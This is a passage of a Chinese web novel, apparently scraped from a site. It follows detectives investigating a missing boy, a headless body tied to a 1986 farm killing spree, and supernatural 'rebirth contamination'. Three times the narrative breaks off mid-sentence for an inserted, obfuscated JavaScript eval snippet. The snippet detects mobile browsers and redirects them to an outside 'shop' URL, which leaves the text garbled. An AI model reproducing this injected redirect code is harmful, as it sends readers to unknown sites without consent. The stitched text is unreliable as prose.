秋樰生微微松了口气。人体内的血液含量和体重有关,所以一个十岁小孩身体里的血液含量多半是低于成年人的,也就是说,28号别墅里那个死状凄惨的受害者可以一定概率排除武东青的孙子武心童。当然,前提是,这里头的血液只是单一受害者的。 “我先带采集的物证和家属回局里做检测,确保DNA检测结果今晚能出来。”李特说。 “辛苦了。” “应该的。”李特经过秦于理身边,跟她也打了声招呼。 那头,郑金虎让两个有资历的警察一男一女陪着武东青的妻子林秀华还有他的儿子儿媳妇也坐上了警车,跟着李特的车一起往外出,前来寻找蒋小龙的陈文化则手足无措地站在人堆里,不知道自己接着该做什么的样子。 秦于理说:“这么大出血量人估计好不了,尸体呢?” 秋樰生说:“还没找着。” 方许恩不由得嘀咕:“怎么那么巧,昨晚找到一具尸体,没有头,今天找到一地血迹,没尸体。” 秋樰生突然愣了一下,喊陈文化:“陈文化,过来!” 一个年轻警察听到了,把懵懂的陈文化带了过来。 秋樰生说:“你和蒋小龙是哪里人?” 陈文化不明白发生了什么,只是老实回答:“白城……” 秋樰生立刻拨打电话,一接通就喊:“李特,回来!” 李法医都上路了,只得又折回来,疲惫地问秋樰生:“怎么了,秋队?” 秋樰生说:“你把陈文化带上,去他宿舍看看能不能提取到蒋小龙的DNA,我怀疑昨晚金鑫大楼那具尸体和失踪的蒋小龙存在关联。” 李特怔了一下,马上道:“好!老乡,麻烦你领我们走一趟了。”于是陈文化也给装了进去。 目送警车呼啸着开走,秋樰生一扭头,发现秦于理不站在自己身边了,他问:“人呢?” 方许恩指了指不远处:“那儿!” 就见秦于理潇潇洒洒地走到武东青跟前,秋樰生心里刚冒出“坏了”两个字,果然见秦于理朝着武东青伸出了手。 68.第68章 命案幸存者 看到秦于理对武东青伸出手,秋樰生的脑海里已经自动闪出一个影像,前者的食指中指四平八稳地顶着后者的眉心,一脸淡定地看着自己腕上的罗盘说:“你被污染了。” 秋樰生下意识地冲了出去,差点撞倒一个在现场维持秩序的警察,没想到另一头也有个人冲了出去,是方许恩。 这俩一前一后冲到秦于理身边,于是本来站着正要说话的秦于理还没来得及张嘴,就被她俩队友一边一个拽住了手。 秦于理:“?” 武东青本来正在和郑金虎对话,此时停下话头,疑惑地问:“这是?” 方许恩连人都认不全,哪知道怎么回答,立刻甩锅:“你问他!”这就甩给了秋樰生。 秋樰生说:“不好意思,你们继续。”他拽着秦于理说,“走走走,我们到里头看现场去。” 武东青却在怔了一下后迅速反应过来,他打量了秦于理一下,说:“小秦?你是小秦,秦于理吧?” 秦于理说:“是我,武局,您还记得我啊,好久不见。”她冷冷扫过秋樰生和方许恩,两人只能悻悻松开手,好在秦于理只是伸手与对方礼貌交握了一下。 武东青说:“我记得你在档案室工作,怎么也出外勤了?” 秦于理说:“最近队里事多,假期人手不够,我来搭把手。” 武东青就说:“这次真是劳烦各位兄弟姐妹们了。” 郑金虎忙说:“武局,您见外了,如今队里的同志哪个之前没受过您照拂,原本就是我们该做的。” 武东青说:“家里出了事,下次有机会再和大家好好叙叙旧。” “哎,您忙。”秦于理立刻乖巧地退开,目送武东青带着郑金虎离开。 等那两人一走,秋樰生和方许恩齐齐松了口气,方许恩说:“妈呀,吓死我了,还以为秦队要出手呢!” 秦于理问:“出什么手?” 秋樰生说:“眉心点中堂呗,你不是回回都这么检测重生污染?” “就是,上回在茶餐厅里二话不说就点我脑门上了,把我吓了一大跳。”方许恩也应和。 秦于理说:“你俩关系啥时候处那么好了?” 秋樰生说:“哪儿好了,跟外国临时工没话说。” 方许恩也回过神来,把脖子一扭从鼻子里出气说:“嗤,不跟鲁莽武夫一般见识!” 秦于理懒得理这两只小学鸡,自顾自往28号别墅里走,秋樰生赶紧跟了上去,方许恩则说了声:“我到房子四周转转。”显然是刻意没跟进去。 踏入室内,秋樰生给秦于理介绍说:“陈文化说这栋别墅是推倒重建过的,外观和内部构造都和小区内其他老别墅不一样。房东应该是打定了主意要群租,所以把房子隔成了好多间,光一楼就有五个房间,还有一间卫生间和一个厨房,第一案发现场就在卫生间里。” 秦于理点点头,穿梭在这栋重新翻修过的别墅里。原本方方正正的房型因为要尽可能多做隔断,好租给多一点的租客,所以别墅里头的走道曲里拐弯,采光极差,宛如一座迷宫,要不是现在还没放家具进来,置身里头应该会让人感觉很压抑。 秦于理一扇一扇推开那些门,挨个进去看了看又退出来。房间有的朝南,有的朝北,还有刚好夹在中间走道的房间,连扇窗户都没有,住在里面简直不见天日。这地方一般人住着不会舒服,但是要藏几个人可算十分容易,更不用说武心童只是个十岁的小男孩。 “刚刚鉴证科已经把整栋房子都翻遍了,没找到童童的踪影,也没发现任何属于童童的物品。”秋樰生说。 秦于理说:“武局今天有接到过可疑电话吗?” “没有,”秋樰生摇头,“这很奇怪,不管是绑架勒索还是仇人上门,拐走了孩子总该有个说道,但一天下来,武局和他家里人没收到任何消息,没有电话也没有恐吓信,我只能猜想对方是因为太恨武局了,所以不急着摊牌,想要故意制造恐慌。” “嗯。”秦于理推开卫生间的门,站在外头看了看。里面的地面、墙壁上用粉笔圈出了血液喷溅的痕迹,场面十分惊人,在清洗之前,这里应该如同人间炼狱。 秋樰生问:“你不进去看吗?” “不了,李特都来过了,我没鉴定科的同事专业。”秦于理说着,不知道从哪里掏出了秋樰生之前见过的污染检测仪器对着卫生间四处比了一下,仪器上面的指针轻轻摇晃,只波动出一个很小的数值,提示在安全区间。 “这儿有重生污染吗?” “有,但是很少。”秦于理说,“跟武东青身上的差不太多。” 秋樰生惊讶:“你刚刚查武局了,那怎么没有点他眉心?” 秦于理说:“检测有很多种方法,不同肢体接触和肢体接触到什么程度只与检测精度有关,你会没事做戳退休老领导眉心吗?” 秋樰生一下子噎住了。他当然不会这么做,可他以为秦于理会这么做,大概是因为虽然能很好混入人群,但他还是觉得不论是他还是秦于理,在人群之中都有一股属于异类的不同气息。 秦于理收起家伙,往外走。秋樰生喊她:“楼上还有两层,你不看了?” “不看了。”秦于理回答得干脆利落,“查案找人抓凶手是你们刑侦的活,我的工作职责是找到隐藏在人群中的重生者,把因果归位。你不会真以为我是来搭把手的吧?” 秋樰生:“……”他决定收回前言,他或许是人群中的异类,可秦于理是人群中的怪物,还是丝毫不觉得哪里有问题,活得特别优哉游哉那种。 想归这么想,秋樰生还是跟上秦于理离开了28号。秦于理说:“你不看现场了?” “刚刚都看过了,现在干0000的活。” 千穿万穿,马屁不穿,秋樰生这么一说,秦于理虽然没有明显的表示,但看起来应该是默许了秋樰生跟她一起转悠。 两人绕到屋子后面,正看到方许恩猫着腰在楼后的绿化带里找什么东西。 秋樰生喊他:“找凶器的话这里已经排摸过两遍了,没有可疑的物件。” “凶器?”方许恩从草丛起抬起头来,“不是,我在找玩具。” “玩具?什么玩具?”秋樰生问。 “你们没看到吗,刚刚有个小孩儿一直在这里站着,手里拿着个玩具在玩。我正要跟他打招呼,那孩子突然就跑了,手里拿的玩具掉了都不知道!” 秋樰生皱眉:“什么样的孩子,男的女的,外貌体型特征?” “男的,大概六七岁吧,瘦瘦小小的,跟个猴儿一样,穿件脏兮兮的蓝色校服还是运动服,胳膊上有两条白线那种。” 秦于理看秋樰生,后者摇摇头:“不是武心童,那孩子要更高,而且出门穿的是套名牌套头卫衣卫裤。” “找到了!”方许恩突然惊喜地喊了一声,他从绿化带里捡出来一个小东西,随后疑惑地吱了一声说:“这是什么?” 秦于理对他招招手,方许恩就小跑过来,给秦于理看他手心里躺着的东西,那是一个小小的木头疙瘩,上端像个桃子,中间收了一节,像是系了裤腰带,下面还有一小节。 “这是冰嘎,就是木陀螺,北方小孩冬天在冰面上抽着完,不过这应该是好多年的老物件了,现在哪还有小孩玩这个。”秋樰生说,“你是不是看错了?” “怎么可能,我视力2.0!”方许恩说。 秦于理思索了一下,说:“方许恩,你用观察者能力仔细看看。” 方许恩愣了下:“什么,观察者能力?怎么用,这儿没人啊!” 秦于理说:“不看人,你看这个陀螺就可以,用另一双眼睛看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦于理给他找了张纸和笔让方许恩自己涂画,这时候秋樰生走了回来:“李特那边有消息了,根据28号里带回去的血液检测结果,与武家人不符,大概率排除武心童,DNA结果还要过段时间才能出来,但是小陆带陈文化去看了金鑫大楼那具无头男尸,后者说从尸体身形和穿着上看和失踪的蒋小龙很相似,现在已经在局子里录口供了。” 秦于理说:“那就是一个失踪的孩子加一具不知怎么移动的尸体了。 如果蒋小龙就是无头男尸,而崧畔花园28号的一楼卫生间是案发现场,那么虽然解决了蒋小龙失踪案,可案件又转变成了被人杀死的蒋小龙为什么会被砍了头送去金鑫大楼,真要抛尸,绑上重物丢进崧江应该要比吭哧吭哧从有门卫的崧畔花园把尸体运出去,再丢弃到同样有门卫的金鑫大楼四层方便多了。 秋樰生只觉得整起案子里都充满了不可思议的复杂的、多余的手段,就像28号这套别墅的风格一样。 “我画完了!”方许恩跑过来,把手里的纸递给两人看,那上面勾勒出一个瘦削、短发、窄脸,眼神还有点怯生生的男孩的模样。 “这张脸我好像哪里见过……”秋樰生皱起眉头,很快他想起了什么,在手机上打了一排消息发出去,没过一会儿,他就收到了回复。 秋樰生的眉头皱得更紧了。 秦于理问:“怎么,对不上?” “对上了。”秋樰生给两人看他手机上的图片,那是一张老式彩色证件照,上头是个小男孩,看起来和方许恩画出来的那个一模一样。 “他是谁?”方许恩问,“你怎么有这小孩的照片?” “这是86年刘克爽案中从红星国营农场里被他挟持上山的人质,这孩子虽然最后活了下来,但伤了脑袋,日常生活受到了影响,他那时候的名字叫郑小龙。” 69.第69章 农场秘辛 “是,这是小龙的东西,他一直带在身边,你们在哪里找到的?”陈文化看到被放到自己面前的木陀螺,顿时激动起来,“你们找到小龙了吗,他还好吗?” “陀螺是我们在崧畔花园28号别墅后面绿化带里找到的。”秋樰生说。 陈文化眼里的光消失了,他的嘴唇微微颤抖着,伸手将那枚老旧的陀螺死死捏在手里。 “怎么会这样,难道小龙真的已经……这要我怎么跟他死去的妈妈交代啊!!”陈文化哀嚎起来,尽管小陆带他去认过尸,他也承认了金鑫大楼那具无头男尸和蒋小龙的身形相似,但在没有确切证据前,他应该还保留着几分希望。 可惜,现实总是无情的。 有人敲了敲门,秋樰生喊“进来”,小陆便走进来将一份报告递给秋樰生,后者只看了一眼,便叹了一声气,将报告递给了一旁坐着的秦于理。 方许恩也凑上去看,那上面写着崧畔花园28号别墅内提取到的血液经DNA分析与金鑫大楼那具无名男尸属于同一个人,也和蒋小龙宿舍中采集到的DNA样本匹配。 换言之,现在已经可以基本确定失踪的蒋小龙就是崧畔28号别墅内的被害人,也是金鑫大楼四楼那具无头男尸的真实身份。 “DNA比对结果出来了,很遗憾,蒋小龙已经遇害了。” 陈文化痛苦地抓紧了手里那颗老旧的陀螺,脸上充满了悔恨和自责:“怎么会这样,怎么会这样呢?” 秋樰生说:“我们都能理解你的心情,但还是要请你冷静一下,因为现在最重要的就是尽快抓到杀害蒋小龙的凶手。蒋小龙遇害已经超过3天,我们必须争分夺秒,赶在凶手远走高飞前把他找出来,而这需要你的配合!”秋樰生倒了一杯温水放到陈文化面前,方许恩有样学样,把餐巾纸递给了陈文化。 “你们……想知道什么,我都说。”陈文化是真的受到了极大的打击,他神情恍惚,说话都有些结巴,“可是我不知道要说什么,我压根不明白这是怎么回事。小龙明明是一个人畜无害的人,他既没钱又没权,性格温和,平时对谁都笑眯眯的,看到只流浪猫都要从嘴里省出口粮喂两口,到底谁那么过分连他都害,还……还害他那么惨!”陈文化痛苦地捂住脸孔,身体剧烈颤抖着发出干嚎。“说到底,千错万错都是我的错,我就不该让小龙一个人回去关窗,我更不该只顾着自己玩乐,没及时关心他的状况!”陈文化捶胸顿足,哭得声嘶力竭,一时间整间办公室里只听到他的声音。 秋樰生等陈文化发泄完这一通,稍稍平复了一下才开口说:“我们刚刚查了蒋小龙的身份信息,得知他以前叫郑小龙,是86年红星农场劫案的幸存者,这件事你知道吗?” “知道,当然知道,我们可是发小啊!”陈文化擦着眼泪鼻涕说:“当年刘克爽那个案子在我们白城是件惊天动地的大事,虽然已经过去几十年了,红星农场那地方到现在还荒废着没人敢去,大家都说那些人死得冤,还停留在原地不肯走!” “那里发生了什么稀奇古怪的事吗?”秦于理追问。 “就是闹鬼!当年刘克爽在里头杀了九个人以后,那里就荒废了,有人晚上开车经过走迷了道,不知怎么就会开到那个已经关掉的农场去,说看到里头灯火通明的,还传出人声,也有人说,白城市政府原先想把这间农场拆了,把地另作用途的,但是接手的几个老板都莫名其妙出了事或是改了主意,大家都说那儿邪门,后来政府也不管了,就让那些建筑留在那里,说是有高人指点,那地得在阳光下曝晒五十年才能彻底祛除阴气!”陈文化说到这里猛然一顿,似乎意识到自己不该在警察局讲这些,神情有些惴惴不安。 但秋樰生皱眉实则是因为他觉得陈文化讲的这段鬼故事似曾相识,很快,他便想起来这和金鑫大楼的都市传说如出一辙。 一样的地皮不吉利,一样的接手就出事,不过,本来都市传说也就是这么大同小异,秋樰生觉得自己可能有点思虑过度了。 秦于理问陈文化说:“你刚刚说你跟蒋小龙是发小吧,知道他为什么改名吗?” “知道。小龙他爸爸郑叔叔在那起案子里被害了,他爷爷奶奶接受不了现实,非说他妈妈是扫把星,所以把他们娘俩赶出了门,蒋阿姨只能带着小龙一个人过。后来,蒋阿姨就给小龙改了姓,让他跟自己姓蒋。我爸以前是开货车的,经常往红星农场送货,我又从很小就开始跟车,所以才认识了他们一家,小龙比我小四岁,一直喊我哥。” 秦于理的目光落在了郑家父子的照片上,警局的资料显示蒋小龙的父亲郑家泰长着一张和气生财的圆脸,但蒋小龙却长着一张瘦窄的长脸,不论是看童年照片还是如今从档案里调出来的蒋小龙的身份证照片,这俩父子都可以说是两模两样。更要命的是,既然蒋小龙就是无头男尸,而无头男尸和刘克爽又属于同一个父系下的血亲,那么蒋小龙的父亲到底是谁恐怕只能打个问号了。 “郑家泰被害和蒋双双有什么关系,为什么蒋小龙的爷爷奶奶会这么恨自己的儿媳妇和亲孙子?”方许恩忍不住发问,在他看来,这完全是莫名其妙的迁怒。 秋樰生给了他一个眼神,意思是你个外国临时工too羊too奶衣服,简直是天真。 方许恩则还没想明白自己哪里错了,露出不解的眼神。 秦于理继续不搭理这两人的幼稚吵架,问陈文化:“你能说说蒋双双这个人吗?” “蒋阿姨?她、她人很好的。”红星农场事件发生的时候,陈文化也不过只是个十四岁的少年,虽说穷人的孩子早当家,但那个年纪的小城男孩能对比自己长一辈的大人留下多少印象其实很难有所期待,但蒋双双似乎是个十分出挑的人,给少年陈文化留下了很深的印记。 陈文化说:“蒋阿姨年轻的时候长得特别漂亮,按我们那儿的话讲就是盘靓条顺。白城人讲话都带口音,大家总笑话我们土,可蒋阿姨就能说一口流利的普通话,她声音好听,在农场里兼职广播员的时候,大家都喜欢得不得了。不仅如此,她还很会打扮穿衣服。我们那个年代,物质不发达,国内也没什么时尚之类的说法,可是蒋阿姨特别心灵手巧,经常做些小东西,什么丝巾、手帕花、塑料珠子项链什么的,哪怕是同样一件衣服,经过她手改造和搭配以后,穿出来就能让人眼睛一亮。那时候我老听大人们说,郑叔叔那么普通老实一个人,居然能娶到蒋阿姨真是祖坟冒青烟了!” 在陈文化的述说中,蒋双双俨然一代传奇。她本人是外省来的,一开始在白城的私人服装店里干活,因为人长得漂亮性格开朗,很快打出了名声。一次大集上,蒋双双认识了郑家泰,两人很快就一见钟情,成为了男女朋友。郑家在当地虽然不算有权有势,但老一辈都是国企职工,那时候在白城这种国有企业编制都是父传子,子传孙,一人进厂,全家带编的,所以在两人结婚后,就各种托关系把蒋双双也捎带进了红星农场,干些出纳啊后勤之类的散碎工作。 1986年腊月初七那天,郑家泰本来轮到休息,但因为蒋双双那天要值班,他便带着儿子郑小龙一起跑去农场陪老婆。结果临时有笔营业款需要蒋双双去城里银行办理汇款,阴差阳错之下,蒋双双离开农场逃过了一劫,郑家泰和郑小龙却被意外卷了进去,最后落了个一死一残的结局。 方许恩说:“我就说郑家两个老人是迁怒了,郑家父子被牵连又不是蒋双双想的,怪到她一个人头上未免也太过分了!” 秋樰生问:“据你所知,蒋双双和刘家,还有红星农场和刘家之间有来往吗?” “刘家,哪个刘家?”陈文化有点懵逼。 “刘克爽家。”秋樰生话音刚落,陈文化就吓得一跳。 “蒋阿姨怎么可能跟他们认识?你们不知道,刘家在我们那儿可是出了名的一霸,不止是刘克爽,他堂兄刘庆益、堂弟刘庆利,还有他老爸、叔,他们一家全都是刺儿头。早在刘克爽出事之前,他们家就已经横行白城好些年了,街坊邻居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810360|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平日里见到他们家都绕着走,好好的一般老百姓,谁敢接近他们啊!” 秦于理又看报告的第二页,那上面列举了刘克爽直系亲属的情况。此人被击毙的时候年仅27岁,尚未成婚也未留下子嗣,这么多年过去,刘父自然早已身故,刘家的几个堂兄弟也都过得不怎么样,堪称命运多舛。两个堂兄三个堂弟竟然只剩了刘庆利一个还活着,其余都是横死,不是交通意外就是得了重疾,且都走得很快。也正是因此,蒋小龙身上的刘家血脉扎眼得吓人。 秦于理怀疑郑家泰的父母应该是听说过一些传言的,不然也不会在儿子遇害后愤而将蒋双双、蒋小龙母子扫地出门,可如果蒋双双的儿子真的是刘家人,不管是谁的孩子,当年的刘克爽知道这件事吗?要知道蒋小龙当初可是最后被刘克爽拎上山当人质的,他甚至在枪战中伤到了脑袋,落下了一辈子都无法消除的病根,在知道眼前的小孩和自己有血缘关系的情况下,刘克爽能做到这么狠吗? 等一等! 秦于理想,这么倒推回去,当初刘克爽抢劫未成被逼进红星国营农场和警方僵持,以及蒋双双突然有事离开红星农场真的只是一对巧合吗? 越是往细里想,发生在39年前的这桩大案就越是让人觉得水深。 方许恩则还在纠结蒋家母子被赶出门的事,连声叹气:“真是太可怜了,一对孤儿寡母,一个丧夫,一个丧父,居然就这么被赶出来。蒋小龙一定过得很不好,不然怎么会把这么个老旧的陀螺当宝贝带在身上!” 陈文化说:“小龙说这个陀螺是他爸爸给他买的,所以他特别宝贝,这么多年了,一直带在身上。你别看他脑子不好,他经常给木料打蜡清理,才能把这个陀螺保管得这么好。”他说着说着又哽咽了,“我还记得我们夏天在28号装修的时候,小龙还和童童一起玩过这个陀螺……” “蒋小龙和武心童是怎么认识的?”秋樰生突然问,“再怎么说他们俩年纪也差了三十来岁,身份背景也不同。” 蒋小龙已经四十九岁了,是个外来务工人员,脑子还不好,武心童却是个从小含着金汤匙出生,爸爸妈妈都是高知,爷爷还当过大官的十岁本地男孩,怎么看这俩人都玩不到一起,再说,现在小孩什么玩具没有,光凭一个老旧陀螺,蒋小龙和武心童不可能搭上关系,何况秋樰生还记得陈文化来找武东青打听的时候曾经说过,蒋小龙和武心童是朋友。 陈文化说:“其实我也不知道是怎么回事,反正我第一次看到那个男孩的时候,小龙就和他在一块儿玩陀螺了,他们俩好像特别聊得来。你们知道的,小龙脑子坏了,心智一直停留在十岁那年,虽然他平时跟着我们一起出工干活,但他的言行举止都和小孩差不多,我猜可能是因为这样,童童才和他聊得来吧。哦,还有,我有次听小龙给那孩子讲我们白城好吃的好玩的,童童可爱听了,还嚷嚷着等寒假了要让爸爸妈妈再带他去白城玩!” “武心童曾经去过白城?”秦于理问。 陈文化说:“听那孩子的话,应该是爹妈带着一起去旅游过吧,但是没本地人带着,最多玩个走马观花。小龙毕竟是白城人,知道的稀奇古怪的玩意儿,好吃的小店可多了,也怨不得那小孩喜欢听他说,老是跑来找他。” 话题聊到这里,秋樰生和秦于理同时看向对方,知道彼此都想到了同一件事。 武心童是今天凌晨被熟人喊出门的,他甚至没顾得上把鞋穿好,趿拉着运动鞋就出去了,所以一开始秋樰生看完监控视频就断定是熟人作案,可有哪个熟人既跟武心童关系近,又和武东青有仇还没引起武东青的注意呢? “蒋小龙?”秋樰生轻声说,“不对啊,武心童是今天凌晨才失踪的,可蒋小龙三天前就死了。” 秋樰生突然想起了自己之前在岗亭里看到的那段奇怪的ET视频,大大的脑袋,小小的身体投影在地上,一闪而过。 脑袋?秋樰生震惊,难道是有人用蒋小龙的脑袋把武心童钓了出来?! 70.第70章 重生团伙 秋樰生越想越是心惊,见陈文化也说得差不多了,便把小陆叫进来善后,自己对秦于理做了个手势,示意后者跟他出去。 “怎么了?神神秘秘的!有什么是不能光明正大说给人听的吗?” 秦于理是出来了,但方许恩也跟着出来了,还没忘了抬杠。 秋樰生此时也懒得跟他计较了,他拿了一台笔记本,开了一间会议室对两人说:“陈文化刚刚的话让我想到武心童失踪后,崧畔花园东门的一段视频。”他在屏幕上找到那段监控视频,很快调到了凌晨三点半以后的时间段。 三点四十分的时候,先是那个青年男人出了小区门,往门外的便利店去,十分钟后返回,嘴里叼着烟,看着没什么异常。 到三点四十七分的时候,秋樰生停下视频,问秦于理:“你看到了吗?” 秦于理问:“地面上的影子?” “嗯。”秋樰生又继续播放视频。 影子很快消失。二十分钟后,凌晨四点零七分,一个年轻女人出现在画面上,她手里提着一个拎包,走出小区大门,没再回来。 秋樰生说:“我一开始查监控是想找到武心童被人带出去的线索,结果没看到童童却看到这么个影子。你看,影子的头很大,下面直接接了细细的一截,乍一看像不像ET?” 秦于理说:“从影子的长度和路灯的位置应该可以估算出这个影子的真实高度。” “我算过,有一米五十多,比童童高。”秋樰生说,“但这明显不是人的身体,我一开始就是卡在这里,所以暂时把这件事放到一边了,但刚刚法医报告已经证实了蒋小龙就是金鑫大楼的无头男尸,第一案发现场很可能就在28号别墅卫生间里,陈文化又说蒋小龙和童童是朋友,童童则是今天凌晨被熟人骗出家门的,那么,有没有一种可能,童童凌晨看到的就是蒋小龙,但不是活着的蒋小龙,是三天前就已经死了,并且只剩下了一个头颅的蒋小龙?” 方许恩惊得开始摩挲手臂,他说:“你的意思是,那个所谓的ET其实是有人挑着蒋小龙被切下来的头颅伪装成的蒋小龙?” “对,考虑到灯光从斜后方照过来,影子会被拉长,这个所谓的ET很有可能就是一根木棍上戳着一个人的脑袋而已,就像拖把。” 方许恩倒抽一口冷气,说:“可是我们在28号别墅里并没有找到蒋小龙的脑袋啊!” 秦于理说:“蒋小龙的头颅应该是那个女人带出去的。” “什么?”方许恩愣了一下。 秦于理说:“凌晨四点多的时候,监控视频里有个女人提着一个拎包走出小区,那种托特包装一个十岁小孩肯定是装不进去的,但是要装一个人的脑袋就容易多了!” 方许恩瞳孔地震:“你的意思是,凌晨四点多出门那个女的其实是个杀人犯,她、她把武心童骗出来以后,又拎着蒋小龙的脑袋就这么大摇大摆地离开了?” 推测本身很简单,但结果是令人不敢置信的。不敢置信的不是运送头颅的方式有多巧妙,而是一个年轻女人居然有这么大胆子,不仅拿着一个砍下来的头颅拐骗小孩离家出走,还能在处理完事情后,不动声色地提着那颗脑袋离开! 秋樰生说:“我让通讯技术科把视频处理得更清晰一些,只要能捕捉到五官特征,这女的身份不难查。” 秦于理说:“还有个更快的方法,你们查一下28号别墅的房东。” 秋樰生怔了一下:“你怀疑那个女人是房东?” “至少是跟房东有关系的人。我记得你提过,武东青家从一个多月前开始收到恐吓信,信不是寄来的,而是送到了他的家门口,甚至一点点往里侵袭,直到送到了他家底楼的玄关鞋子里,这不是某个外来的陌生人能一下子做到的,加上今天一天武东青忙进忙出,罪犯却连一个电话一条消息都没发过来,这明显不符合一般的作案者心理,所以我认为,那个罪犯在崧畔花园里应该有个据点,这样才能方便他观察武东青家的日常生活作息和家庭关系,可以轻易找到机会塞恐吓信,甚至是在今天白天观察武东青家的情况进展。” “可是那个提着脑袋的女的不是已经离开崧畔花园了吗?”方许恩问,“难道她真这么不怕死,把蒋小龙脑袋处理完了,又回到了崧畔花园?” “如果凶手不是一个人呢?”秦于理说,“比那个女的先出门的那个男的,你们有没有觉得他哪里不对劲?” “那个出门买烟的?”秋樰生看了一上午崧畔花园的监控,只在那个时间段看到两个出门的人,一个已经初步判定是罪犯,没想到另一个居然也跑不了。可另一个的问题在哪里?那年轻男人两手空空,什么也没带,只是出门晃了一趟,十分钟不到就回来了。正是因为他回来的时候嘴里叼了根烟,秋樰生才判断他是出门去买烟的,这符合秋樰生对于烟民的认知。 “这人怎么穿着睡衣就出门啊,我真是不适应国内这个生活习惯。”方许恩嘀咕了一句有的没的,却让秋樰生猛然一愣。 “睡衣……”秋樰生脑海中刹那间炸开一个响雷,对啊,一个小区居民半夜烟瘾犯了到门口便利店买烟当然不可能还特意换身外出的衣服,多半是趿拉着鞋,穿个睡衣就出门了。隀明市现在是秋季,气温不高不低,大家都穿薄睡衣,而这种睡衣通常是没有口袋的,因为面料太亲肤,放东西会不舒服,何况通常也不会有人往睡衣里装一堆东西。而那个青年回小区的时候,虽然嘴里叼着烟,手里却没攥着刚买来的烟盒。 不会有人出门只买一根烟,也不可能有人买了一整盒烟,只抽一根就把其他的丢进垃圾桶,那么剩下的可能就是,那个青年凌晨出门根本不是买烟去的! “他知道警察会查监控,所以特地做了伪装!” 是啊,他和那个女的应该是一伙的,走在前面是帮她去打前哨站,侦查外部情况的,等到确定没问题回来,那女的再出门。”秦于理说,“你们不是检查过28号别墅吗,有没有找到有人在里面呆过的痕迹,我怀疑在陈文化来之前,那个人很可能还藏在房子里,嗯,后续武东青家忙进忙出的时候,他说不定还混在人群里看过热闹!” 秋樰生爆了句粗口,正要去找同事分析视频,突然小周忙不迭地冲了进来,嘴里喊道:“秋队,出事……”他看了眼秦于理和方许恩,一下子闭了嘴。 秋樰生的两个手下里小陆外向开朗有干劲,小周就要内向一些,性子更慢,但很细致,眼下这么慌慌张张,必然是发生了大事。 顾忌到方许恩还在,秋樰生拉着着小周出了会议室的门,两人在走廊上说起话来。 秦于理也没闲着,她的手机在这时候也响了起来,她看了眼屏幕,迅速接了起来。 方许恩一下子被冷落下来,感觉自己是个多余的,只得拖动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814298|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着监控视频进度条,想看看有没有别的什么没注意到的线索,结果一不留神点错了,投影幕上便出现了另一段视频,正是昨晚两名网红夜探金鑫大楼的直播视频,方许恩也知道金鑫大楼的事,反正闲着也是闲着,便认认真真地看了起来。 不久,秋樰生再次推开门进来,而秦于理跟电话那头的对话也到了尾声。 “知道了,我会处理的。”秦于理说完,挂断了电话。 两人甫一对视,就知道彼此都有重大消息。 秋樰生说:“我先说。就在刚才,有个通过梯子跳转,定位在国外的IP在多个网络社交平台发布了一段30S的视频,视频里是被绑架的武心童,他还活着!视频发布者自称刘克爽,扬言要找武局单挑,报三十九年前的血海深仇!” 秦于理说:“那我们对上了。刚刚老范打来电话,他说重案组最大的检测设备刚刚发生异动,侦测到现在有不止一个重生污染正在隀明市迅速扩散。” “不止一个?什么意思,难道除了刘克爽还有别的重生者?”秋樰生惊讶。 “当年刘克爽团伙一共是六个人,包括他本人在内,四个人被击毙,还有两个在国道就被抓了,后来判了无期,如果那四个都重生了的话,那么的确不止一个重生污染源。” 秋樰生有种想掀桌子的冲动,他骂骂咧咧道:“重生是那么简单的事吗,太不讲道理了,还能想重生就重生,想重生几个就重生几个的?” “还不确定,只是猜测,但污染数值是实打实检测到的。”秦于理说,“新闻不是老说动漫小说教坏小孩,引发社会问题吗,现在重生文那么多,说不定量变引发质变呢?” “你在开玩笑?”秋樰生不敢置信。 秦于理一本正经说:“我是在开玩笑。” 秋樰生:“……” 秦于理说:“愣着干什么,事情都这样了,把防护服穿起来,重案组需要全员出动。方许恩!” 方许恩冷不丁被点名,扭头说:“啊?” 秦于理说:“你回队里领套防护服和设备,跟我一起出发执行任务!” 秋樰生说:“我得跟队里走,不和你们一起。” “知道,殊途同归,目标一致,总能遇见的。”秦于理说。 秋樰生正准备出门,眼睛瞟到方许恩,然后又落到投影幕上,跟着咆哮出口:“谁让你乱翻文件了!”说着就扑了上去。 方许恩被他一把推开,差点没坐地上,碎碎念道:“你也没说不能看啊,再说直播网上都有,我看看怎么了……” 秦于理揪着方许恩的领子把他提走了。 等到换好衣服出了门,方许恩还在嘀咕:“那段直播好像哪里不太对,感觉怪怪的。” 秦于理问他:“哪里怪?” 方许恩皱紧眉头,想了好一会儿:“对不起,我还没想到。” 秦于理打开驾驶室的门,方许恩正要往里钻,秦于理拦住他:“我开车,你坐副驾。” “咦?”方许恩这才发现秦于理此时开的不是他的车,而是一辆看起来破破烂烂的小面包。 